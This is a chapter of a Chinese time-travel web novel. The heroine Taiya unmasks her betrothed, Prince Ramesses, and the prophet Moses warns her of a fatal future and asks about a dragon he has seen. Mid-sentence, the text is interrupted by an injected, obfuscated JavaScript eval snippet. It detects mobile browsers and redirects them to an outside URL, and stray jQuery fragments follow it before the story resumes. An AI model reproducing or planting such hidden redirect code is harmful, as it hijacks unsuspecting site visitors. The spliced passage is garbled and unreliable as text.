泰雅确信那个少年就是拉美西斯,图雅王妃的小儿子,当今法老塞提的第十二子。
证据有很多。
首先是衣物。在常年高温、气候干燥炎热的凯美特,衣服是一件名副其实的奢侈品。生活在社会下层的人们只穿很少的衣物:腰间围一块腰带,能将特殊部位遮挡起来即是万事大吉。
反观拉霍特普(既然他这么自称,那就这么算吧),他身上的服饰款式虽然并不复杂,是白色的束腰袍,但这是与亚洲诸国交流后引进的装束,目前在贵族中还算是一种时尚。
再者,拉霍特普身上的衣料虽然也是亚麻,但比起寻常的亚麻布经过了更多处理,面料更加轻薄、透气。
其次,泰雅注意到他的脖颈、手腕都戴着黄金与玛瑙、红玉和绿松石等宝石打造的饰品。
同时,拉霍特普脚上穿的还是皮革制的鞋子。这与摩西和她脚下的草鞋有着质的差别。
还有一点是名字。拉美西斯(Ramesses)这个名字的意思是“拉神之子”,而拉霍特普(Rahotep)的含义则是“拉神满意”。这两个名字所承载的个人身份与神圣性差不太多。
综上所述,拉霍特普从头到脚都透着金钱的味道,就差把奴隶主家的儿子、我的父亲是法老写在脸上了。
除此之外,当今法老塞提所娶的王妃不多,成活的孩子则更少。与泰雅订婚的是塞提的小儿子,但他上头的哥哥活到成年的只有两位。
一位更加年长,是拉美西斯的同胞兄弟,名字是“赛特涅姆赫特”(Setnemhat)。
另一位稍小一些,但出身更加高贵。他叫孔斯帕克赫鲁德(Khonspakhered),母亲梅里涅特在嫁给赛特之前是阿蒙神的祭司。在儿子成为祭司之后,梅里涅特一直辅佐着儿子的工作。
这两位王子目前正绕着储君的位置在瓦瑟特打擂台,哪有跑尤努找个放羊娃的闲情逸致?
结合今天的婚约消息,拉霍特普只能是拉美西斯。
就如泰雅所料,他们的婚事完全是板上钉钉的事情,但上头略显急切的态度确实让她有些意外。
“泰雅。”
她微微抬眸,望着自己的朋友。
摩西不是一个心思莫测、难以捉摸的人。他根本不擅长作息,好在有一张密不透风的嘴巴。像他这样的老实人,只需要站在那里,什么都不说,只是微笑就令人放心。
但如果把摩西当做笨蛋,那就大错特错了。
“你就不怕,我告诉拉美西斯,你已经认出他的事吗?”
泰雅耸肩。她增加道德资本的演出已经完成了,就算摩西告知拉美西斯,后者也会觉得她是个聪慧且体贴的姑娘,倒也没什么不好。
她唯一不明白的只有一件事:她的未婚夫为什么要说如此拙劣的谎言?
“你要是觉得难受,告诉他就好了嘛。”
摩西笑了,可即便他在微笑,他琥珀色的眼里依然藏着忧愁。
“怎么了,摩西?”泰雅问,“出了什么事?”
摩西沉吟片刻。“其实,我看到了拉美西斯坐上宝座的模样,从风华正茂到鲐背之年。”最后,他很肯定地告诉她,“泰雅,拉美西斯是命中注定的法老。他的统治将会比此前任何一个法老都要长久。”
“感谢你告诉我这些。”泰雅则很真诚地感谢他,接着,又用同样的真诚回复道,“老实说,此前我一直都把预言当做狗屁。现在我相信你是真的先知了,摩西。”
少年的脸上立刻一片空白。过了一会儿,他才颇为头痛地叹了口气。
“现在不是争论价值观的时候。”
摩西苦涩地说。泰雅推想,神塞给他的画面正折磨着他,宗教真害人。
“泰雅,问题在你。”
“我?”……我配吗?
自己这个命中注定要成为法老脚下芸芸众生之一的小虾米,居然还能成为摩西预言中的重点。
这泰雅确实没想到。她立刻来了兴趣,“快说快说,拥龙之功我是赶不上了。你看,我适合屠龙不?”
摩西的笑容陡然消失。他的目光让泰雅联想起凛冬的细雪,愧疚感如轻柔的小雨打在她的心上。
她赶忙用言语表达自己的歉意。“我知道了,我不会再说怪话了。你说吧。”
“不,没关系。”午后骄阳似火,蓝天万里无云,年轻先知的面色却苍白如纸,“你不能嫁给他。”
这话有点莫名其妙,泰雅能够给他的只有沉默。
“泰雅,我看到了你的结局。”他的言语明显加快,如秋日落叶噼里啪啦砸到她脸上,“你绝不能嫁给他。”
“冷静点。摩西,你是被神选中的人。”
泰雅立刻伸手,托住他的脸颊。屠龙不过是她随便说的笑话。这具身躯没能继承父亲良好的体魄,神秘的天赋也不够高(魔力量少,质也平庸)。
挂不能开,能靠的只有她的头脑。
在这个搞刺杀都要先弄一通仪式的愚昧时代,背靠国家机器的法老有着无底线的资源。
就算她撞了大运,真玩了手屠龙,泰雅不认为自己在搞死法老之后还能安然撤退——啥?要她跟拉美西斯一换一?不好意思,她这个人还挺惜命的。
泰雅保守的选择不是在耍个性,而是基于现状慎重考虑的结果。
“告诉我,摩西,你看到了什么。”
“我看到了两个你。”终于,摩西缓缓开口,“一个华冠丽服,却在烈火中化为灰烬;一个虽衣不兼彩,却手握光明。”如诗句般的预言过后,摩西伸出手拉住她的胳膊。“如果你嫁给拉美西斯,你一定会……!”
泰雅不动声色地将胳膊撤出,温柔而坚定地抓住他的手掌。
“万物皆有一死,摩西,”她平静地告诉他,“你知道我,我宁可死于诸神之手,也不可能为了一个男人付出自己的性命。”
“但你还是要嫁给他。”摩西固执地说,“或许我们可以离开这里。以你的智慧,随便到哪里都能活出一片天地。”
“你是说帮小羊治疗骨折?”泰雅打趣道,“那不是我太聪明,而是你的神除了添堵以外都在保持沉默。”
摩西对她的宗教笑话不感冒。他只是用一种悲伤的眼神望着她。
泰雅其实看不得别人这副模样,如果因她而起则更糟。她不得不把话说得更明白一些。
“离开凯美特,最初的日子会很不好过。”
但那其实算不上什么问题。
首先,泰雅的位置在政治上正好处在一个非常微妙的中间地带。她的失踪会影响家族,但却不至于引起官方搜捕。无论是走陆路,还是走海路,他们都不会遇到严格盘查。
而且,泰雅也确实有着一种自信。这种自信不源于她的母亲给她的美貌(其实在这个时代,美貌之于女性算不得什么好事),而根源于她旺盛的生命力和无谋的勇气。
遇到困难就想办法解决困难。只要坚持这样的做法,到哪里都不会混的太差。
“从我个人的角度来说,长远来看,还是能值回票价的吧?”
“票价……?”
凯美特没有能够解释“票价”的语言。泰雅也没有要进一步解释的意思。
“我当然可以一走了之,但我的父亲母亲,我的两个弟弟呢?我走了,被驳了面子的法老会怎么想?我父亲的同僚会怎么想?”
泰雅提醒道:“霍伦海布法老是因为无后才将拉美西斯法老定为接班人,但
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256684|182084||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
前者对中央和军队的影响足有三十年,是新时代王族的五倍还多。”
她的问题实在可大可小。泰雅怕的不是当即的反应,而是有心之人翻起旧账。
“逃开这桩婚事,除非我死了。拉美西斯绝不是平白无故来到这里,我们哪有准备假死的时间?”
拉美西斯决不会无故来到尤努。现在也不是节日举办的时间,泰雅猜他其实是被父母支使来推进婚事进展的。
就算拉美西斯不受重视,但他依然是王子。法老的儿子屈尊降贵跑到战车队长门前商讨婚事,带有强烈的政治色彩,强调王室对军方势力的重视。
倒不是泰雅不想走。她只是不放心,不想赌。
“别为我担心,摩西,也感谢你肯警告我。”
泰雅不怎么擅长安慰人,只能用真诚的告诫表达自己的决心。
“死亡随时可至,但有些时候,生存更需要勇气。我看上去像是缺些胆气的人吗?”
“我只是希望你不要过得难过。”摩西叹了口气,笑容中透着担忧,“要不是我了解你,我都会认为你已经迷上他了。”
“他的确长着一张很能让姑娘着迷的脸,”泰雅回忆了一下拉美西斯的身形,“似乎也比其他人要强壮一些。”不过没吉古利那么壮,她的好弟弟站在同龄人身边都像一只大猩猩。
“但仅是因为这些就喜欢上一个人是很奇怪的事,过不了几年,他就会和绝大多数男人一样开始充气。”她评论道,“而且他为什么要说谎?”
“嗯……他应该有自己的想法吧?”摩西回答,“他其实是个很有自己想法的人。”
确实很有想法。这件事做得让泰雅摸不着头脑。她已经很久没有这种一头雾水的感觉了。
反正后面有的是时间了解拉美西斯,泰雅选择不去纠结那个小问题。
更让她感到苦恼的是时局。
“摩西,原来收养你的是图雅王妃。”
之前摩西同她提过这么一回事:有位慈悲为怀的王妃将他收养,纳为自己的孩子。更细节的部分他没有说,但泰雅猜摩西与那位王妃的关系是典型半路母子。两者关系不僵,但也说不上亲密,大概就是想起来同下人问一嘴“今天饭吃得香不香”的程度。
最直接的证据是,摩西在提到这位王妃时全无思念。
秉承着朋友不说,她也不问的原则,泰雅直到今天遇上拉美西斯,才知道摩西的养母就是图雅。
“你不在瓦瑟特帮着打擂台,跑尤努来做什么?”
“我和赛特涅姆赫特王子不太熟,”摩西回答,“而且我就算在瓦瑟特也帮不上什么忙。”
“那不一定。说不定他们还会挺喜欢你的预言呢。”
“他们会把我当做异端吊起来。”
这话说的不错,成功让泰雅笑了出来。她没想到摩西也是个讲笑话的高手。世上最善于异端审判的三教共认的先知说自己会被吊起来——还有比这更精妙的冷笑话吗?
然而接下来,摩西的话就让她笑不出来了。何知宁终于遇到了自她穿越千年这个事实外,第二件令她震惊的事。
“虽然我总是能看到很多画面,基本上都是跟人的死亡有关,但只有那天是不同的。”
“我看到了一只巨兽盘踞在尤努的上空。”
“它与我所知的任何异兽都毫不相干。”
“它的头像牛,角像鹿,身躯像蛇。它长着鱼的鳞片和鸟儿的爪子。”
“我的脑袋里有一个声音告诉我,它是Long。”
“请告诉我,泰雅,那是什么?你又是谁?”
哈。
何知宁听到自己的冷笑。
看吧?把你面前这个小伙子当成笨蛋会吃大亏的。